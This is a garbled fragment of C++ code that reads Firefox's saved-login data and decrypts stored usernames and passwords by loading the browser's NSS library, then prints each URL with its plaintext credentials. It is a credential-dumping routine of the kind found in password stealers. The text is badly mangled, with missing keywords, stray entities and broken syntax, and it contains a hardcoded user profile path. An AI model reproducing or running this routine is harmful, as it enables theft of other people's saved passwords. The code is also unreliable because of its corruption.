length (); (int i=0; i lt; sTempline.length (); i ++)
{: string sURL=«»;: string sEncryptedUser=«»;: string sEncryptedPass=«»;
iFind=sTempline.find («hostname»);// URL (iFind gt; - 1)
{= sTempline.substr (iFind, sTempline.size ());
=sTempline.substr (11);
=sURL.find («" »);
=sURL.substr (0, iFind);
=sTempline.substr (sURL.size (), sTempline.size ());
}
=sTempline.find («encryptedUsername»); (iFind gt; - 1)
{= sTempline.substr (iFind, sTempline.size ());
=sTempline.substr (20);
=sEncryptedUser.find («" »);
=sEncryptedUser.substr (0, iFind);
=sTempline.substr (sEncryptedUser.size (), sTempline.size ());
}
=sTempline.find («encryptedPassword»); (iFind gt; - 1)
{= sTempline.substr (iFind, sTempline.size ());
=sTempline.substr (20);
=sEncryptedPass.find («" »);
=sEncryptedPass.substr (0, iFind);
=sTempline.substr (sEncryptedPass.size (), sTempline.size ());
} (sURL.size () gt; 0 amp; amp; sEncryptedUser.size () gt; 0 amp; amp; sEncryptedPass.size () gt; 0)
{: string sUserPlain=DecodeFireFox (sEncryptedUser.c_str (), sProfilePath.c_str (), sFirefoxPath) ;: cout lt; lt; «URL:» lt; lt; sURL lt; lt; std: endl;: cout lt; lt; «Username:» lt; lt; sUserPlain lt; lt; std: endl;: string sPassPlain=DecodeFireFox (sEncryptedPass.c_str (), sProfilePath.c_str (), sFirefoxPath) ;: cout lt; lt; «Password:» lt; lt; sPassPlain lt; lt; std: endl;
}
}
}
}
} init_status;: string DecodeFireFox (const char * encryptedstring, const char * ffprofiledir, std: string firefoxpath)//v28
{maxlenght=2 048;: string decodedstuff=«»; mozglue=LoadLibrary (L «C: Program Files (x86) Mozilla Firefox mozglue.dll»); nss3=LoadLibrary (L « C: Program Files (x86) Mozilla Firefox nss3.dll »); SECStatus (__cdecl * NSS_InitFunc) (const char * configdir); SECStatus (__cdecl * NSS_ShutdownFunc) (void); PK11SlotInfo * (__ cdecl * PK11_GetInternalKeySlotFunc) (void ); void (__cdecl * PK11_FreeSlotFunc) (PK11SlotInfo * slot); SECStatus (__cdecl * PK11_AuthenticateFunc) (PK11SlotInfo * slot, PRBool loadCerts, void * wincx); SECStatus (__cdecl * PK11SDR_DecryptFunc) (SECItem * data, SECItem * result, void * cx); SECStatus (__cdecl * PK11_CheckUserPasswordFunc) (PK11SlotInfo * slot, const char * pw); char * (__ cdecl * PL_Base64DecodeFunc) (const char * src, PRUint32 srclen, char * dest); void (__cdecl * SECITEM_ZfreeItemFunc) (SECItem * zap, PRBool freeit); void (* SECITEM_AllocItem) (SECItem amp; item, int len); _ InitFunc NSSInit=NULL; _ShutdownFunc NSSShutdown=NULL; _GetInternalKeySlotFunc PK11GetInternalKeySlot=NULL; _CheckUserPasswordFunc PK11CheckUserPassword=NULL; _FreeSlotFunc PK11FreeSlot=NULL; _AuthenticateFunc PK11Authenticate=NULL ; _Base64DecodeFunc PL_Base64Decode=NULL; SDR_DecryptFunc PK11SDRDecrypt=NULL; _ZfreeItemFunc SECITEM_ZfreeItem=NULL;
(mozglue amp; amp; nss3)
{
//Funktionen aus DLL laden=(NSS_Init) GetProcAddress (nss3, «NSS_Init»);=(NSS_Shutdown) GetProcAddress (nss3, «NSS_Shutdown»); GetInternalKeySlot=(PK11_GetInternalKeySlot) GetProcAddress (nss3, « PK11_GetInternalKeySlot »); FreeSlot=(PK11_FreeSlot) GetProcAddress (nss3,« PK11_FreeSlot »); Authenticate=(PK11_Authenticate) GetProcAddress (nss3,« PK11_Authenticate »); SDRDecrypt=(PK11SDR_Decrypt) GetProcAddress (nss3,« PK11SDR_Decrypt »); _ open=(function ) GetProcAddress (nss3, «sqlite3_open»); _ prepare_v2=(function2) GetProcAddress (nss3, «sqlite3_prepare_v2»); _ step=(function3) GetProcAddress (nss3, «sqlite3_step»); _ column_text=(function4) GetProcAddress (nss3, «sqlite3_column_text» ); _ Init=(function6) GetProcAddress (nss3, «NSS_Init»); _ Shutdown=(function7) GetProcAddress (nss3, «NSS_Shutdown»); _ Base64Decode=(PL_Base64DecodeFunc) GetProcAddress (nss3, «PL_Base64Decode»);
{
//if (init_status!=SECSuccess) _Shutdown (); _ status=NSSInit («C: Users Vahagn AppData Roaming Mozilla Firefox Profiles k7z1336z.default »); (init_status == SECSuccess)
{cred_len=strlen (encryptedstring); pnDestLen=maxlenght; char decoded_cred [2048];
//if (ii!=1) SlotInfo * slot=PK11GetInternalKeySlo...